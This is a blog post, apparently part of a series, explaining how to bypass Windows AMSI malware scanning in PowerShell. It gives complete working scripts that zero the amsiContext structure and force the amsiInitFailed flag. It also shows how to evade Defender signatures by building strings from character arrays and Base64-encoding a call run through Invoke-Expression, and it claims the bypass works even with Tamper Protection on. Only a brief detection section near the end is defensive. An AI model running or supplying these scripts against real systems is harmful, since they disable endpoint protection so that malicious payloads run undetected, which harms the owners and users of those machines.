Bypassing AMSI by exploiting amsiContext structure

In one of my previous blog I discussed how both the functions AmsiOpenSession and AmsiScanBuffer checks for various conditions before returning. If any of those conditions fail, they will exit out with an error.

For example, if we take a look at AmsiOpenSession code we will find that the amsiContext structure is is first checked and then its second and third QWORD are checked.

This we can confirm from the pseudocode as well

If any of these value is zero including amsiSession and amsiContext, then it will result in the function exiting with an error.

Similar behaviour can be found in AmsiScanBuffer, where the complete amsiContext structure is checked

This can be confirmed from the pseudocode as well

This means that if we somehow change the value of amsiContext to 0 we will be able to exit out of either of these 2 functions.

Testing out our theory

Lets test out our theory in a debugger. For this first we will attach our PowerShell process to a debugger. then put a breakpoint in both AmsiOpenSession and AmsiScanBuffer

When we enter a string, we will hit the AmsiOpenSession API. Then we also find where the amsiContext is being checked. Now we can try and zero out the value at rcx register which is basically holding amsiContext structure’s value. Therefore, we can directly click on the register and zero it out

Following the code execution, we will find that the function is taking the jump. Then if we continue through the execution we will find that our malicious string is not triggered

This shows that AMSI has exited with an error

Implementing AMSICONTEXT structure manipulation

We can easily manipulate the amsiContext structure by going through all the ..NET assemblies that are loaded in our current PowerShell session. Then going through each one of them until we find out AMSICONTEXT structure. One of the ways to do this in PowerShell, is by obtaining the address or reference to the amsiContext structure, which must be loaded in an assembly in PowerShell to be used by the .NET Framework.

For this we need to find which loaded assembly implements AMSI features. From there we can find out which Type is responsible for having all the AMSI related functions. We can then use important references from them.

• First using reflection, we will access the current loaded assembly in PowerShell i.e. System.Management.Automation.dll. The currently loaded assembly can be accessed using [Ref] object (which will be the PSReference object)

This assembly is responsible for all core functionalities of PowerShell. Therefore, it is highly probably that will have something related to AMSI. So, we will dump all the Types in this assembly and store them in a text file for searching. Why use a text file for searching instead of using the Select-String cmdlet and looking for the string AMSI? This is because just typing the string AMSI in PowerShell will lead to the command being blocked, and triggering this alert multiple times, will result in Windows Defender going into panic mode, which will cause PowerShell to block everything that we type until we reboot the system.

[Ref].Assembly.GetTypes() > types.txt

We find a type called AmsiUtils. But we cannot directly perform GetType(‘AmsiUtils’) in PowerShell. This will cause alert to pop-up. Instead what we can do is, we can dump all the types in an array and loop through looking for a the AmsiUtils string.

But how can be even put the string AmsiUtils in our script if it gets flagged? The answer lies, what we learned during the basics of Malware development. We will put all the strings of AmsiUtils in an array and join them and store them in a string. Then we can use it as a filter.

$types = [Ref].Assembly.GetTypes()

$x = @('A','m','s','i','U','t','i','l','s')

$s = $x -join ''

foreach($type in $types)
{
    if ($type.Name -like $s)
    {
        Write-Host $type
    }
}

Here we are not even keeping the string AMSI in the filename in order to prevent it from getting flagged.

Here we have put all the character of the string AmsiUtils in an array. Then we join the array, using the -join flag. This way the buffer that is passed to AmsiScanBuffer API will not even have the complete string of AMSI which will prevent it from getting detected.

We can see the it has printed the complete Base Type i.e. System.Management.Automation.AmsiUtils

Now that we know the type, we will print all the fields present in the type AmsiUtils and try to find if the structure amsiContext is listed there or not.

$types = [Ref].Assembly.GetTypes()

$x = @('A','m','s','i','U','t','i','l','s')

$y = @('a','m','s','i','C','o','n','t','e','x','t')

$s = $x -join ''

$s1 = $y -join ''

foreach($type in $types)
{
    if ($type.Name -like $s)
    {
        $fields = $type.GetFields('NonPublic,Static')
        
        foreach($field in $fields)
        {
            Write-Host $field
        }
    }
}

In the above code, we are similarly storing the string amsiContext in an array so that we can later on use it to filter out our required field. Then in the loop, once we find the AmsiUtils type, we dump all the fields in it using the GetFields() method. We are using the argument NonPublic,Static, because we are looking for static namespaces which are marked either Private, Internal or Protected. If GetFields() is used without any parameters, it will return all Public fields.

In the list of fields, we find the pointer to amsiContext structure is present as well. Now we can use our filter and find its address using the GetValue() method

$types = [Ref].Assembly.GetTypes()

$x = @('A','m','s','i','U','t','i','l','s')

$y = @('a','m','s','i','C','o','n','t','e','x','t')

$s = $x -join ''

$s1 = $y -join ''

foreach($type in $types)
{
    if ($type.Name -like $s)
    {
        $fields = $type.GetFields('NonPublic,Static')
        
        foreach($field in $fields)
        {
            if ($field.Name -like $s1)
            {
                $field.GetValue($null)
            }
        }
    }
}

Convert this address to hex (it will be 0x1f2fe38aee0). Now attach debugger to the PowerShell ISE session or PowerShell session. Add breakpoint at AmsiOpenSession and enter a string in the PowerShell prompt.

We will hit AmsiOpenSession as expected.

Checking the rcx register which will hold the value of amsiContext variable, we will find that the value that we extracted before will be same, as this one.

This means that the value of amsiContext extracted is correct. This value will change whenever we restart the PowerShell session.

Now in order to force an error we have to overwrite the value in amsiContext variable with 0. To write values in amsiContext we will use the Marshal.Copy function

$types = [Ref].Assembly.GetTypes()

$x = @('A','m','s','i','U','t','i','l','s')

$y = @('a','m','s','i','C','o','n','t','e','x','t')

$s = $x -join ''

$s1 = $y -join ''

foreach($type in $types)
{
    if ($type.Name -like $s)
    {
        $fields = $type.GetFields('NonPublic,Static')
        
        foreach($field in $fields)
        {
            if ($field.Name -like $s1)
            {
                [IntPtr] $dest = $field.GetValue($null)

                [Int32[]] $buf = @(0,0,0,0)

                [System.Runtime.InteropServices.Marshal]::Copy($buf, 0, $dest, 4)
            }
        }
    }
}

After getting the address of amsiContext structure, we store it in a pointer variable, which we will supply to Marshal.Copy. Then we create an array containing 0's of type Int32. Finally we use Marshal.Copy function to copy all the 4 bytes to overwrite amsiContext structure.

Testing the bypass

First we will check our PowerShell session with a flagged string

We can see that our string is still flagged by AMSI.

Next we run our script and try again

This shows that after executing our script, our string is not flagged anymore

However, in some testing scenarios I’ve found that using Tamper Protection heavily stops this type of tampering with Windows’ internal security systems including AMSI and its related components. Therefore, in some cases our script might be easily flagged if Tamper protection is turned on.

Attacking AmsiInitialize

Till now we have been targeting the amsiContext structure directly. This caused AMSI to error out. But due to Tamper protection our OPSEC will be compromised and our PowerShell session will be terminated. The warnings from Tamper protection will lead to our payload getting detected. Now to bypass this we will look into other functions for answers.

Diving into System.Management.Automation.dll

We will take a look at the .NET implementation of AMSI, which is done with the help of AmsiUtils Type. For this, we need to dive into the assembly C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\System.Management.Automation.dll

Since this is a .NET assembly, we will be using dnSpy to disassembly this binary.

Once we load System.Management.Automation.dll assembly in dnSpy , we will find that under the class name System.Management.Automation there is a Type called AmsiUtils. This is what is used by the .NET Framework to interact with AMSI and scan the buffer.

Under AmsiUtils we will find a function called ScanContent which is interesting as we will see later on

Here we see that there are 2 different instances where, if the field amsiInitFailed if equal to true, then the function exits with the log saying ScanContent-InitFail. As the name the structure and log suggests, it contains the result if AmsiInitialize was successful or not. Now if amsiInitFailed is true this means that there was some error executing AmsiInitialize and the execution shouldn’t move forward as there might be some errors further down the line.

Upon checking the amsiInitFailed we find that it is Private and Static field.

Strategy for the bypass

Now this bypass is not going to be directly targeting AmsiInitialize, since it is executed as soon as the PowerShell session is started. Rather, in this strategy we will be tampering the result of AmsiInitialize, which is amsiInitFailed. We will try to modify the value of amsiInitFailed to true. This will cause the function AmsiUtils.ScanContent to fail and exit out.

Implementing the bypass in PowerShell

We have to modify the value of amsiInitFailed to true in order to perform the bypass. For this we will be using the method SetValue() . This technique will be similar to what we implemented in case of the amsiContext bypass.

$types = [Ref].Assembly.GetTypes()

$x = @('A','m','s','i','U','t','i','l','s')

$y = @('a','m','s','i','I','n','i','t','F','a','i','l','e','d')

$s = $x -join ''

$s1 = $y -join ''

foreach($type in $types)
{
    if ($type.Name -like $s)
    {
        $fields = $type.GetFields('NonPublic,Static')
        
        foreach($field in $fields)
        {
            if ($field.Name -like $s1)
            {
                $f = $field
                
                $f.SetValue($null, $true)
            }
        }
    }
}

The above is the structure of the payload that we will be using.

• First we define 2 array containing the characters for the strings AmsiUtils and amsiInitFailed. Then we join these 2 array to form the string respectively.
• In the foreach loop we first list all the types in the current assembly. Then we list all the fields in that type. If we find that type name is equal to amsiInitFailed, we will use the method SetValue() to set the value of amsiInitFailed to $true.
• This will cause the AmsiUtils.ScanContent to exit.

However, as soon as we save the function, Windows Defender will flag it and delete it. This means there is a flagged string somewhere in the code. Since, I am using arrays for the strings amsiUtils and amsiInitFailed, then its not possible for these strings to get flagged. In that case, the only different thing that I have added here is SetValue method. To test my theory, I removed a few characters from this method

Now we will be able to save the script without any warnings from Windows Defender.

Solving the problem of SetValue getting flagged

Now we know that the function SetValue is flagged, we can easily bypass this by removing the signature. For this we will encode the SetValue function call in Base64

echo -n "\$f.SetValue(\$null, \$true)" | iconv -t utf-16le | base64 -w 0

The above line encodes the line, $f.SetValue($null, $true) first converts it to UTF-16 (lower-endian), then it converts to Base64 without any line wrapping. This is because PowerShell uses UTF-16 encoding.

Now we have to decode and execute this in our script

$decodedBytes = [System.Convert]::FromBase64String("JABmAC4AUwBlAHQAVgBhAGwAdQBlACgAJABuAHUAbABsACwAIAAkAHQAcgB1AGUAKQA=")

$decodedCommand = [System.Text.Encoding]::Unicode.GetString($decodedBytes)

Invoke-Expression $decodedCommand

The above lines first decode the string from Base64. Then the next line decodes the string from Unicode format. Finally, we use the cmdlet Invoke-Expression which is used to run a particular PowerShell command.

We can replace the line $f.SetValue with these lines and execute it again.

So our final script will look as follows

$types = [Ref].Assembly.GetTypes()

$x = @('A','m','s','i','U','t','i','l','s')

$y = @('a','m','s','i','I','n','i','t','F','a','i','l','e','d')

$s = $x -join ''

$s1 = $y -join ''

foreach($type in $types)
{
    if ($type.Name -like $s)
    {
        $fields = $type.GetFields('NonPublic,Static')
        
        foreach($field in $fields)
        {
            if ($field.Name -like $s1)
            {
                $f = $field
                
                $decodedBytes = [System.Convert]::FromBase64String("JABmAC4AUwBlAHQAVgBhAGwAdQBlACgAJABuAHUAbABsACwAIAAkAHQAcgB1AGUAKQA=")

                $decodedCommand = [System.Text.Encoding]::Unicode.GetString($decodedBytes)

                Invoke-Expression $decodedCommand
            }
        }
    }
}

This script we can easily save and execute.

This shows that even with Tamper Protection turned on we are able to bypass AMSI successfully.

Detections!!!

There can be multiple methods to detect this type simple attacks on AMSI

• One of them can be to actively monitor the state of AMSI through ETW providers or Sysmon logs
• The HKCU\Software\Microsoft\Windows Script\Settings\AmsiEnable can also be monitored to check if the value is set to 0 to disable AMSI or not
• Another way would be to look at AMSI crashes and error and trace it back to the origin. If the origin of the crash is done by executing some program / script then that script can be flagged for further investigation.

Conclusion

This shows another one of numerous ways of bypassing AMSI. There can be other methods of influencing the outcome of the AmsiUtils.ScanContent function. They will be discovered as we keep looking into its working more and finding more ways to cause it error out.

Using the techniques discussed in this blog series, one can hunt for AMSI bypasses in the loaded assemblies or the loaded AMSI functions and can develop their own bypasses using their own payloads.

Source Codes

Sources codes for this series can be found in my github:

1. Hooking AMSI
2. Patching amsiContext and attacking AmsiInitialize